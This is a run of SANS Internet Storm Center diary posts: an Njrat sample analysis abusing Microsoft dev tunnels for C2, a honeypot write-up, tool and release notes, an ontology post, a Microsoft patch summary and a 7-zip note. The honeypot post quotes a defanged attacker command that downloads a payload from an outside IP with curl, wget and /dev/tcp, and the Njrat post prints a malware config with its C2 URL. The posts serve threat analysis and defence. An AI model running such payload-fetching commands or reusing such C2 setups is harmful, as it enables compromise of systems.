I spotted new Njrat[1] samples that (ab)use the Microsoft dev tunnels[2] service to connect to their C2 servers. This is a service that allows developers to expose local services to the Internet securely for testing, debugging, and collaboration. It provides temporary, public, or private URLs that will enable remote access to a development environment without deploying code to production. Dev tunnels create a secure, temporary URL that maps to a local service running on your machine, they work across firewalls and NAT, and their access can be restricted. This is a service similar to the good old ngrok[3].
Here are two samples:
They use different dev tunnel URLs but their ImpHash (Import Hash) is the same (f34d5f2d4577ed6d9ceec516c1f5a744):
This is the code where the malware will send its status to the C2 server:
The variable "OK.HH" contains the dev tunnel URL. At the end, a "text" variable is created to contain the status of the malware capabilities (True or False). Note the "OK.usb" variable: If set to True, the malware will try to propagate through USB devices:
Here is one of their extracted config:
Login
{
"C2": "hxxps://nbw49tk2-25505[.]euw[.]devtunnels[.]ms/",
"Ports": "25505",
"Botnet": "HacKed","Options": {
"Auto-run registry key": "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\af63c521a8fa69a8f1d113eb79855a75",
"Splitter": "|'|'|"
},
"Version": "im523"
}
Conclusion: If you don't use the Microsoft service, hunting for devtunnels[.]ms in your DNS logs is a good idea!
[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
[2] https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/overview
[3] https://ngrok.com
[4] https://www.virustotal.com/gui/file/0b0c8fb59db1c32ed9d435abb0f7e2e8c3365325d59b1f3feeba62b7dc0143ee/detection
[5] https://www.virustotal.com/gui/file/9ea760274186449a60f2b663f535c4fbbefa74bc050df07614150e8321eccdb7/detection
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
[This is a Guest Diary by Robin Zaheer, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]
During my time as an intern with SANS Internet Storm Center [2], my DShield honeypot has seen a variety of attacks that prove to be interesting case studies. Most commonly, I have seen thousands upon thousands of password guessing attacks, for which the ISC provides a nifty webpage [3] that displays the top source IPs, usernames, and passwords used in said attacks observed by my honeypot for SSH/Telnet. Here is a snapshot of that page:
Figure 1: Data from my DShield honeypot on top source IPs, passwords, and usernames used in SSH login attempts for the current day.
These attacks are most certainly worth studying, but I think the attacks that occur after the attackers succeed in their password guessing draw my interest the most. After all, attacker behavior is most easily studied when they are given the access necessary to attempt what they mean to do within a target system. The attack I wish to focus on today utilizes a cloud IP that has remained undetected by malicious IP identifiers. It started with the following password guessing attack:
Figure 2: Excerpt from cowrie JSON log detailing successful password guessing attack from source IP %%ip:8.133.192.98%%.
The attack then went as follows:
Figure 3: TTY log generated by SSH session from Figure 2 and accessed using playlog command. Displays cowrie-interpreted inputs and command line outputs.
This attack took eight seconds, or thirteen if you include the time it took for the attacker to log in with the password guessing attack. In that time, a very complex command is inputted using nohup. The whole command is worth dissecting to understand what the attacker is attempting to do, but I will focus on the following defanged segment of that command:
curl hxxp[://]140[.]143[.]196[.]172[:]60102/linux -o /tmp/TTqYvYlyMT; if [ ! -f /tmp/TTqYvYlyMT ]; \
then wget hxxp[://]140[.]143[.]196[.]172[:]60102/linux -O /tmp/TTqYvYlyMT; fi; if [ ! -f /tmp/TTqYvYlyMT ]; \
then exec 6<>/dev/tcp/140[.]143[.]196[.]172/60102 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/TTqYvYlyMT
This piece of code tries to connect to and download data from another IP address three different ways: curl, wget, and 6<>/dev/tcp. The commonality between them is some version of trying to connect with the URL hxxp[://]140[.]143[.]196[.]172[:]60102/linux and writing the response into a file. This has struck me as the most interesting piece of the entire attack, as it entails connecting to the IP %%ip:140.143.196.172%% with HTTP, but through the ephemeral %%port:60102%% instead of %%port:80%% or another common service port. However, when I attempted to gather information about this IP’s past behavior, I got little information. See the table below:
| Results | Shodan [4] | GreyNoise [5] | AbuseIPDB [6] | SANS ISC [7] |
|---|---|---|---|---|
| Malicious? | No Results | No results | 0% Confidence of Abuse | Risk 0 |
| Reported Activity | N/A | N/A | Three reports of SSH activity on 13 July 2024 | No reports, listed on Port 22 Scanner feed between 13-15 July 2024 |
Figure 4: Results of searching for the IP the attacker attempted to download files from.
What is known about this IP is that it is based in Shanghai, China, and is owned by Tencent Cloud Computing Co., Ltd [6][7]. Even the ISC has no reports on this IP, only listing it in the Port 22 Scanner feed from six months ago [7], which is also the only time when AbuseIPDB reported potentially malicious activity from the IP [7].
I believe this means that the server tied to this IP is not normally used for common port scanning; it is only used as a location for attackers to access their malware and download to a compromised system. As of 17 January, 2025, what little information there is about this IP comes from a period of time it was used as an attacking system, whereas now it is a place of access for malware files. Essentially, this host is not an actively malicious system, but it remains a passive threat that aids threat actors in their attacks when needed. This could also make tracking down the stored malware much more difficult to identify and classify, especially at scale. With automated and wide-ranging web scanners like Shodan and GreyNoise failing to identify this threat, many more systems just like it can run under the radar until an analyst personally identifies its purpose. By running a service through an ephemeral port, web scanners are likely to not include that port in the range of ports that they scan on any given host. Additionally, the use of a nonstandard port for HTTP implies that the ability to connect to the server is tied to a service that the attacker crafted or manipulated for control, and that the opening of those ports are temporary(and therefore much more difficult to catch by web scanner), unlike the common service ports.There are examples of actively running HTTP services on malicious systems using nonstandard ports, see below:
Figure 5: Snapshot of HTTP service responses on nonstandard ports. Sourced from Shodan query for IP %%ip:220.180.76.126%%.
While the ports for the HTTP services shown in Figure 5 are numbered below %%port:10000%%, the TCP port used in the attack is %%port:60102%%. This explains why Shodan would not be able to see the service, even if the service was actively running. According to the founder of Shodan(username “achillean”), the web scanner scans from a list of ports for all public IPv4 addresses [8]. That list of ports, pulled from Shodan’s API, includes only a fraction of all ports and does not include %%port:60102%% despite including some port numbers typically reserved for ephemeral port usage [9]. It is also worth noting that these responses were logged on certain days based on the date of the response headers, but have not given a more recent response, likely meaning that the services are not active at all times. GreyNoise, on the other hand, would never detect activity for the host of %%ip:140.143.196.172%% due to the way it collects data. According to its creator, it utilizes honeypot servers placed on several cloud providers to collect data much like how DShield collects data, logging access attempts and port scanning [10][11]. GreyNoise passively collects activity, so unless a threat actor attempts to attack one of their honeypots, activity like the above attack would not be logged. For comparison, GreyNoise does label the attacker’s originating IP %%ip:8.133.192.98%% as malicious, including tagging it for SSH connection attempts and SSH bruteforce, which follows the method for this attack [12].
The best way to combat this attack method is to lock down the target system’s inbound and outbound connections, limiting the scope to authorized addresses. Blocking HTTP traffic over unconventional ports should be sufficient to prevent this attack, but it does not safeguard against the malware that would be downloaded and may need the use of application firewalls or endpoint IDS/IPS systems. Also, one may prevent unauthorized access to the target system by protecting against password guessing attacks. This can be achieved by targeting both the credentials on the host and the source IPs attempting to log in. All host account credentials would need password complexity requirements to prevent use of common passwords, and any redundant or unused accounts must be pruned. For example, the credentials used to login in Figure 1 would need to change to something more complex, and the ability to login as root through SSH should be limited or removed. Source IPs can be limited with firewall configuration, such as using iptables for Linux systems. Using daemons like Fail2ban to monitor and ban source IPs with consistent login failures are also effective deterrents of password guessing attacks. The best way to catch the malicious files would be to monitor for file downloads through anomalous connections, such as strange protocol/port pairings. This is easily done with unencrypted protocols like HTTP, but for encrypted protocols like HTTPS, a decryption step would need to be implemented to catch the files in transit. A tool that markets itself as being sufficient at detecting services such as HTTP using nonstandard ports is Censys’s Universal Internet DataSet on their attack surface manager [13]. Once configured, the “automatic protocol detection” feature would be able to detect and alert a range of protocols that are sending/receiving on a nonstandard port.
Ultimately the attack itself is easy to avoid. However, if using a nonstandard port as a service port becomes more commonplace, then it may also become more difficult for cybersecurity professionals to perform discovery in incident response. If the web monitoring services are not catching this utilization of servers, the responsibility falls upon the analyst to identify and mitigate the threat. I hope that this use of ephemeral ports as service ports will be identified and addressed by the IP abuse monitors in the near future, but in the meantime, we must remain aware as analysts of this threat and use tools like Censys to combat it.
[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://isc.sans.edu
[3] https://www.dshield.org/mysshreports/
[4] https://www.shodan.io/search?query=140.143.196.172
[5] https://viz.greynoise.io/ip/140.143.196.172
[6] https://www.abuseipdb.com/check/140.143.196.172
[7] https://isc.sans.edu/ipinfo/140.143.196.172
[8] https://news.ycombinator.com/item?id=27613813
[9] https://api.shodan.io/shodan/ports
[10] https://www.csoonline.com/article/565406/greynoise-knowing-the-difference-between-benign-and-malicious-internet-scans.html
[11] https://www.slideshare.net/slideshow/the-background-noise-of-the-internet/86816394
[12] https://viz.greynoise.io/ip/8.133.192.98
[13] https://censys.com/finding-non-standard-port-protocol-pairings-with-censys-asm/
--
Jesse La Grew
Handler
I've been a big fan of Ryan Benson's unfurl[1] tool since he released it a little over 5 years ago. Unfurl is a tool that can parse/decode URLs including things like embedded timestamps and IP addresses. It can be run in gui form via a web browser or as a command-line tool (my preference). Well, last week, Ryan released an update to v2025.02[2,3] of unfurl and added the ability to decode BlueSky URLs (among other bugfixes). I've also updated my docker container[4] to run the command-line version of unfurl as well.
References:
1. https://dfir.blog/introducing-unfurl/
2. https://dfir.blog/unfurl-parses-obfuscated-ip-addresses/
3. https://github.com/obsidianforensics/unfurl
4. https://hub.docker.com/repository/docker/clausing/dfir-unfurl/general
---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu
Wireshark release 4.4.4 fixes 1 vulnerability (%%CVE:2025-1492%%) and 12 bugs.
Didier Stevens
Senior handler
blog.DidierStevens.com
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Over the past several weeks, I have been testing various enhancements to the DShield SIEM, to process DShield sensor log from local and cloud sensors with Filebeat and Filebeat modules to easily send Zeek and NetFlow logs back to a local network ELK stack via home router natting. This is a list of updates and enhancements:
- Upgrade to the current version of Elastic 8.17.2
- A single script to configure the base configuration of all the docker files (change_perms.sh)
- Addition of docker filebeat for cloud DShield sensor collection (Cowrie, Zeek & NetFlow logs)
- Second filebeat to ingest ISC & Rosti Threat Intel IP data [3]
- Separation of GitHub DShield SIEM & DShield sensor scripts
- Addition to docker Metricbeat for ELK Stack metric information
- Updated dashboard that includes Zeek in the tab lists
- Query in one dashboard is linked to the others
- Tested the ELK Stack in a LXC Proxmox container [4]
- The addition of ELK Stack monitoring of all the Beats and Logstash
- Configured Logstash to parse logs with Beats pipelines (Zeek & NetFlow)
- Removed and merged multiple steps to simplify the installation (change_perms.sh)
- Updated some sections of the Troubleshooting document [5]
- Updated some sections of the docker useful commands [6]
- Updated the DShield SIEM network flow [7]
- Docker update steps to current version [8]
DShield SIEM Main Dashboard
[1] https://github.com/bruneaug/DShield-SIEM/tree/main
[2] https://github.com/bruneaug/DShield-Sensor
[3] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/ISC_threatintel.md
[4] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/LXC_Container_DShield-SIEM.md
[5] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/Troubleshooting_SIEM_and_Sensor.md
[6] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/docker_useful_commands..md
[7] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/DShield-SIEM-Flow.png
[8] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/docker_useful_commands..md#update-dshield-elk-to-the-latest-version
[9] https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-8.17.2.html
-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
Blue teams have it hard – they maintain a watchful eye on whatever technology is deployed to detect threats, respond to incidents, perform digital forensics and reverse malware (or make malware happy!) when needed. Hopefully, no one has to handle all these roles alone since there is also the continuous learning aspect of getting up to speed with the latest threat vectors, vulnerabilities and exploit techniques. Adversaries only need one attack to succeed to gain actions on objective. In contrast, defenders have to detect and stop every attack to prevent adversaries from being successful. Let’s now extrapolate to an even bigger problem – what if this happens on emerging/future technologies and adversaries can get away with such crimes?
Multiple countries are gradually considering the concept of Smart Cities, a key consideration in the United Nations Development Programme (UNDP). As such technologies are implemented, the responsibility of defending this critical infrastructure again falls on the shoulders of blue teams. Smart Cities have yet to be fully implemented, but it does not mean we should not be proactive in preparing defenders to handle future problems. Current issues, even without Smart Cities in the fray, already cause blue team grief (e.g. different technology platforms, different contexts, information sharing, collaboration and tool interoperability). Given these complexities, an ontology would allow a shared understanding of vocabulary, facilitate data sharing, and even enable automated data reasoning.
Wanting to pre-emptively solve future issues of attacks and cybercrime on Smart City Infrastructure (SCI), I (along with my co-authors in the SUTD ASSET Group) set out to create the Smart City Ontological Paradigm Expression (SCOPE). SCOPE was designed to be an ontology for threats, cybercrime and digital forensic investigation on SCI. We did not create the ontology from scratch but chose to adhere to ontology best practices and extended the venerable Unified Cyber Ontology (UCO) [1] and Cyber-investigation Analysis Standard Expression (CASE) [2]. UCO and CASE have gained some traction, and these ontologies have been experimentally adopted in forensic tools such as Cellebrite, Magnet Forensics, and MSAB XRY [3]. However, UCO and CASE did not have any SCI representation, and expecting overwhelmed blue teams to create them from scratch would most certainly be the straw that broke the camel’s back.
Figure 1: Smart City Infrastructure Definition (reproduced with permission from the authors) [4]
We deliberated on several design factors. Firstly, we defined smart cities using a technology-agnostic approach while adhering to international standards (with reference to Figure 1) that adopted the United Nations (UN) Sustainable Development Goals (SDG) (this was done in a previous work) [4]. By doing so, we ensured that the evolution of technologies or vendors would not affect the fundamental principle of Smart Cities. Secondly, we identified possible threats, cybercrime, and digital forensic evidence sources from the Smart City, which were defined in the first step (also from the same previous work) [4]. Thirdly, we included MITRE ATT&CK techniques and MITRE CAPEC into SCOPE for analysts and investigators to provide additional context to forensic evidence. Finally, we followed the ontological style and design practices when creating SCOPE, an expansion profile from UCO and CASE.
We evaluated SCOPE via real-world attack scenarios attributed to publicly reported real-world incidents attributed to Advanced Persistent Threat (APT) groups. With reference to Figure 2, the evaluation process workflow is shown. We successfully represented the attack scenarios, cybercrime committed, incident details, evidence and attack patterns (to name a few).
Figure 2: SCOPE Evaluation Process (reproduced with permission from the authors) [3]
Will SCOPE ever be helpful? Not yet. I hope it will come in handy in future for digital forensic investigators and law enforcement agencies when cybercrime on SCI becomes prevalent. As mentioned, SCOPE is technology-agnostic while adhering to several ISO standards. Additionally, it contains enough granularity to allow users to pinpoint key information while ensuring it can capture abstract definitions covering emerging technologies. We have made SCOPE publicly available to the digital forensic community to assist future smart city infrastructure investigations. SCOPE’s GitHub project link is https://github.com/scopeProject, and the official ontology website is https://scopeontology.org. If readers want to find out the complete details of SCOPE, you can find the full published paper in Volume 52 of Forensic Science International: Digital Investigation (FSIDI) or at https://doi.org/10.1016/j.fsidi.2025.301883.
References:
1. https://www.scopus.com/record/display.uri?eid=2-s2.0-85021968557&origin=inward
2. https://doi.org/10.1016/j.diin.2017.08.002
3. https://doi.org/10.1016/j.fsidi.2025.301883
4. https://doi.org/10.1016/j.fsidi.2023.301540
-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter
This month, Microsoft has released patches addressing a total of 141 vulnerabilities. Among these, 4 are classified as critical, highlighting the potential for significant impact if exploited. Notably, 2 vulnerabilities are currently being exploited in the wild, underscoring the urgency for immediate updates. Additionally, 1 vulnerability has been disclosed prior to this patch cycle, marking it as a zero-day. Users are strongly advised to prioritize these updates to safeguard their systems against potential threats.
Significant Vulnerabilities
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability (CVE-2025-21418)
This vulnerability, identified as CVE-2025-21418, has a severity rating of Important with a CVSS score of 7.8. It is currently being exploited in the wild but has not been publicly disclosed, making it a significant concern for affected systems. The vulnerability allows an attacker to gain SYSTEM privileges, thereby elevating their access and control over the compromised system. Immediate attention and remediation are advised to mitigate the risk posed by this vulnerability.
Windows Storage Elevation of Privilege Vulnerability (CVE-2025-21391)
This is a disclosed vulnerability with a severity rating of Important and a CVSS score of 7.1, which is currently being exploited in the wild. This vulnerability allows an attacker to elevate their privileges to delete targeted files on a system, significantly impacting the integrity and availability of the system without compromising confidentiality. The exploitation of this vulnerability can lead to the deletion of critical data, potentially rendering services unavailable. Despite its exploitation, it has not been publicly disclosed as a zero-day, and users are advised to implement appropriate security measures to mitigate its impact.
NTLM Hash Disclosure Spoofing Vulnerability (CVE-2025-21377)
This is a disclosed zero-day vulnerability with a severity rating of Important and a CVSS score of 6.5, though it is not currently exploited in the wild. This vulnerability can lead to a total loss of confidentiality by allowing an attacker to obtain a user's NTLMv2 hash, which could be used to authenticate as the user. Exploitation requires minimal user interaction, such as selecting or inspecting a malicious file. It affects all supported versions of Microsoft Windows, and despite the retirement of Internet Explorer 11 and the deprecation of Microsoft Edge Legacy, updates are necessary due to the continued use of the MSHTML and EdgeHTML platforms in various applications. To ensure full protection, users are advised to install both Security Only updates and IE Cumulative updates.
Microsoft Dynamics 365 Sales Elevation of Privilege Vulnerability (CVE-2025-21177)
This vulnerability, identified as CVE-2025-21177, has not been exploited in the wild nor disclosed publicly, classifying it as a non-zero-day. It carries a severity rating of Critical with a CVSS score of 8.7, indicating a significant risk of elevation of privilege if exploited. Although the vulnerability could potentially allow attackers to gain unauthorized access and elevate their privileges within the Microsoft Dynamics 365 Sales environment, Microsoft has fully mitigated the issue, requiring no action from users. This CVE serves to enhance transparency regarding cloud service vulnerabilities.
Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability (CVE-2025-21376)
This is a critical vulnerability with a CVSS score of 8.1, which has not been exploited in the wild nor disclosed publicly, thus not classified as a zero-day. This vulnerability allows for remote code execution, posing a significant threat if exploited. An unauthenticated attacker could exploit this vulnerability by sending a specially crafted request to a vulnerable LDAP server, potentially causing a buffer overflow. The attack complexity is high, as successful exploitation requires the attacker to win a race condition. Mitigation efforts should focus on securing LDAP servers and monitoring for unusual activity to prevent potential exploitation.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2025-21381)
This vulnerability, identified as CVE-2025-21381, has not been exploited in the wild nor disclosed publicly, making it a non-zero-day threat. It carries a severity rating of Critical with a CVSS score of 7.8, indicating a significant risk of remote code execution. Despite the CVSS metric indicating a local attack vector, the vulnerability allows an attacker to execute code remotely by convincing a user, through social engineering, to download and open a specially crafted file. The attack can be executed locally, with the Preview Pane serving as a potential attack vector. Users are advised to exercise caution when opening files from untrusted sources and to apply any available security updates to mitigate this risk.
DHCP Client Service Remote Code Execution Vulnerability (CVE-2025-21379)
This vulnerability, identified as CVE-2025-21379, has not been exploited in the wild nor disclosed publicly, classifying it as a non-zero-day threat. It carries a severity rating of Critical with a CVSS score of 7.1, indicating a significant risk of remote code execution. The vulnerability requires a high attack complexity, necessitating a machine-in-the-middle (MITM) attack where the attacker must intercept the logical network path between the target and the resource. The attack vector is adjacent, meaning it is limited to systems on the same network segment, such as those connected to the same network switch or virtual network. This limitation prevents the attack from being executed across multiple networks, such as a WAN.
Microsoft High Performance Compute (HPC) Pack Remote Code Execution Vulnerability (CVE-2025-21198)
is a critical security flaw with a CVSS score of 9.0, rated as Important, and is currently neither exploited in the wild nor publicly disclosed. This vulnerability allows for remote code execution, requiring an attacker to have low privileges and access to the network connecting the targeted HPC clusters and nodes. The attack vector is adjacent, meaning it relies on intra-net or private network access rather than exposure to the public internet. Exploitation involves sending a specially crafted HTTPS request to the head node or Linux compute node, potentially allowing the attacker to execute code on other clusters or nodes connected to the targeted head node. The scope of the attack is changed, indicating that successful exploitation could lead to broader impacts beyond the initially compromised system.
Windows Telephony Service Remote Code Execution Vulnerability (CVE-2025-21190)
This is a significant security issue with a CVSS score of 8.8, classified as Important. Although it has not been exploited in the wild or disclosed publicly, this vulnerability poses a risk of remote code execution. An attacker could exploit it by deceiving a user into sending a request to a malicious server, which could then return harmful data leading to arbitrary code execution on the user's system. The attack vector is network-based, requiring user interaction, as the attacker needs a client to connect to the malicious server to execute code on the client system.
Windows Telephony Service Remote Code Execution Vulnerability (CVE-2025-21200)
This is a significant security issue with a CVSS score of 8.8, rated as Important, though it has not been exploited in the wild nor disclosed publicly, thus not classified as a zero-day. This vulnerability allows for remote code execution, where an attacker could potentially trick a user into sending a request to a malicious server. The server could then return malicious data, leading to arbitrary code execution on the user's system. The attack vector is network-based, requiring user interaction, as the client must connect to a malicious server, which could enable the attacker to execute code on the client machine. Mitigation strategies should focus on user awareness and network security measures to prevent such exploitations.
This summary of Microsoft's monthly updates highlights several critical vulnerabilities, emphasizing the need for immediate attention to certain threats. The Windows Ancillary Function Driver for WinSock vulnerability (CVE-2025-21418) is currently being exploited and poses a significant risk due to its potential for SYSTEM privilege escalation. Users should prioritize patching this vulnerability. Additionally, the Windows Storage vulnerability (CVE-2025-21391) is actively exploited, risking data integrity and availability. The NTLM Hash Disclosure vulnerability (CVE-2025-21377), a zero-day, threatens confidentiality and requires prompt updates. Other critical vulnerabilities, such as those affecting Microsoft Dynamics 365 Sales and Windows LDAP, though not exploited, demand vigilance and timely updates to prevent potential exploitation. Users are advised to prioritize these updates and enhance security measures to mitigate risks effectively.
February 2025 Security Updates
February 2025 Security Updates
| Description | |||||||
|---|---|---|---|---|---|---|---|
| CVE | Disclosed | Exploited | Exploitability (old versions) | current version | Severity | CVSS Base (AVG) | CVSS Temporal (AVG) |
| -- no title -- | |||||||
| Azure Network Watcher VM Extension Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21188%% | No | No | - | - | Important | 6.0 | 5.2 |
| Chromium: CVE-2025-0444 Use after free in Skia | |||||||
| %%cve:2025-0444%% | No | No | - | - | - | ||
| Chromium: CVE-2025-0445 Use after free in V8 | |||||||
| %%cve:2025-0445%% | No | No | - | - | - | ||
| Chromium: CVE-2025-0451 Inappropriate implementation in Extensions API | |||||||
| %%cve:2025-0451%% | No | No | - | - | - | ||
| DHCP Client Service Denial of Service Vulnerability | |||||||
| %%cve:2025-21179%% | No | No | - | - | Important | 4.8 | 4.2 |
| DHCP Client Service Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21379%% | No | No | - | - | Critical | 7.1 | 6.2 |
| HackerOne: CVE-2023-32002 Node.js `Module._load()` policy Remote Code Execution Vulnerability | |||||||
| %%cve:2023-32002%% | No | No | - | - | Important | ||
| Internet Connection Sharing (ICS) Denial of Service Vulnerability | |||||||
| %%cve:2025-21352%% | No | No | - | - | Important | 6.5 | 5.7 |
| %%cve:2025-21212%% | No | No | - | - | Important | 6.5 | 5.7 |
| %%cve:2025-21216%% | No | No | - | - | Important | 6.5 | 5.7 |
| %%cve:2025-21254%% | No | No | - | - | Important | 6.5 | 5.7 |
| Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21375%% | No | No | - | - | Important | 7.8 | 6.8 |
| Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-24036%% | No | No | - | - | Important | 7.0 | 6.1 |
| Microsoft Digest Authentication Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21368%% | No | No | - | - | Important | 8.8 | 7.7 |
| %%cve:2025-21369%% | No | No | - | - | Important | 8.8 | 7.7 |
| Microsoft Dynamics 365 Sales Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21177%% | No | No | - | - | Critical | 8.7 | 7.6 |
| Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21342%% | No | No | Less Likely | Less Likely | Important | 8.8 | 7.7 |
| %%cve:2025-21279%% | No | No | - | - | Important | 6.5 | 6.2 |
| %%cve:2025-21283%% | No | No | Less Likely | Less Likely | Important | 6.5 | 5.9 |
| %%cve:2025-21408%% | No | No | - | - | Important | 8.8 | 7.7 |
| Microsoft Edge (Chromium-based) Spoofing Vulnerability | |||||||
| %%cve:2025-21267%% | No | No | Less Likely | Less Likely | Low | 4.4 | 4.0 |
| %%cve:2025-21404%% | No | No | Less Likely | Less Likely | Low | 4.3 | 3.8 |
| Microsoft Edge for IOS and Android Spoofing Vulnerability | |||||||
| %%cve:2025-21253%% | No | No | Less Likely | Less Likely | Moderate | 5.3 | 4.8 |
| Microsoft Excel Information Disclosure Vulnerability | |||||||
| %%cve:2025-21383%% | No | No | - | - | Important | 7.8 | 6.8 |
| Microsoft Excel Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21381%% | No | No | - | - | Critical | 7.8 | 6.8 |
| %%cve:2025-21386%% | No | No | - | - | Important | 7.8 | 6.8 |
| %%cve:2025-21387%% | No | No | - | - | Important | 7.8 | 6.8 |
| %%cve:2025-21390%% | No | No | - | - | Important | 7.8 | 6.8 |
| %%cve:2025-21394%% | No | No | - | - | Important | 7.8 | 6.8 |
| Microsoft High Performance Compute (HPC) Pack Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21198%% | No | No | - | - | Important | 9.0 | 7.8 |
| Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability | |||||||
| %%cve:2025-21181%% | No | No | - | - | Important | 7.5 | 6.5 |
| Microsoft Office Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21392%% | No | No | - | - | Important | 7.8 | 6.8 |
| %%cve:2025-21397%% | No | No | - | - | Important | 7.8 | 6.8 |
| Microsoft Outlook Spoofing Vulnerability | |||||||
| %%cve:2025-21259%% | No | No | - | - | Important | 5.3 | 4.6 |
| Microsoft PC Manager Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21322%% | No | No | - | - | Important | 7.8 | 6.8 |
| Microsoft SharePoint Server Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21400%% | No | No | - | - | Important | 8.0 | 7.0 |
| Microsoft Surface Security Feature Bypass Vulnerability | |||||||
| %%cve:2025-21194%% | Yes | No | - | - | Important | 7.1 | 6.2 |
| NTLM Hash Disclosure Spoofing Vulnerability | |||||||
| %%cve:2025-21377%% | Yes | No | - | - | Important | 6.5 | 6.0 |
| Visual Studio Code Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-24039%% | No | No | - | - | Important | 7.3 | 6.4 |
| Visual Studio Code JS Debug Extension Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-24042%% | No | No | - | - | Important | 7.3 | 6.4 |
| Visual Studio Installer Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21206%% | No | No | - | - | Important | 7.3 | 6.4 |
| Windows Active Directory Domain Services API Denial of Service Vulnerability | |||||||
| %%cve:2025-21351%% | No | No | - | - | Important | 7.5 | 6.5 |
| Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21418%% | No | Yes | - | - | Important | 7.8 | 7.2 |
| Windows Core Messaging Elevation of Privileges Vulnerability | |||||||
| %%cve:2025-21358%% | No | No | - | - | Important | 7.8 | 6.8 |
| %%cve:2025-21184%% | No | No | - | - | Important | 7.0 | 6.1 |
| %%cve:2025-21414%% | No | No | - | - | Important | 7.0 | 6.1 |
| Windows Deployment Services Denial of Service Vulnerability | |||||||
| %%cve:2025-21347%% | No | No | - | - | Important | 6.0 | 5.2 |
| Windows Disk Cleanup Tool Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21420%% | No | No | - | - | Important | 7.8 | 6.8 |
| Windows Installer Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21373%% | No | No | - | - | Important | 7.8 | 6.8 |
| Windows Kerberos Denial of Service Vulnerability | |||||||
| %%cve:2025-21350%% | No | No | - | - | Important | 5.9 | 5.2 |
| Windows Kernel Security Feature Bypass Vulnerability | |||||||
| %%cve:2025-21359%% | No | No | - | - | Important | 7.8 | 6.8 |
| Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21376%% | No | No | - | - | Critical | 8.1 | 7.1 |
| Windows NTFS Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21337%% | No | No | - | - | Important | 3.3 | 2.9 |
| Windows Remote Desktop Configuration Service Tampering Vulnerability | |||||||
| %%cve:2025-21349%% | No | No | - | - | Important | 6.8 | 5.9 |
| Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21182%% | No | No | - | - | Important | 7.4 | 6.4 |
| %%cve:2025-21183%% | No | No | - | - | Important | 7.4 | 6.4 |
| Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21208%% | No | No | - | - | Important | 8.8 | 7.7 |
| %%cve:2025-21410%% | No | No | - | - | Important | 8.8 | 7.7 |
| Windows Setup Files Cleanup Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21419%% | No | No | - | - | Important | 7.1 | 6.6 |
| Windows Storage Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21391%% | No | Yes | - | - | Important | 7.1 | 6.6 |
| Windows Telephony Server Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21201%% | No | No | - | - | Important | 8.8 | 7.7 |
| Windows Telephony Service Remote Code Execution Vulnerability | |||||||
| %%cve:2025-21406%% | No | No | - | - | Important | 8.8 | 7.7 |
| %%cve:2025-21407%% | No | No | - | - | Important | 8.8 | 7.7 |
| %%cve:2025-21190%% | No | No | - | - | Important | 8.8 | 7.7 |
| %%cve:2025-21200%% | No | No | - | - | Important | 8.8 | 7.7 |
| %%cve:2025-21371%% | No | No | - | - | Important | 8.8 | 7.7 |
| Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability | |||||||
| %%cve:2025-21367%% | No | No | - | - | Important | 7.8 | 6.8 |
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
CVE-2025-0411 is a vulnerability in 7-zip that has been reported to be exploited in recent attacks. The problem is that Mark-of-Web (MoW) isn't propagated correctly: when extracted, a file inside a ZIP file inside another ZIP file will not have the MoW propagated from the outer ZIP file.
That's good to know, but what I personally consider more important to know, is that MoW isn't propagated at all by 7-zip in its default configuration.
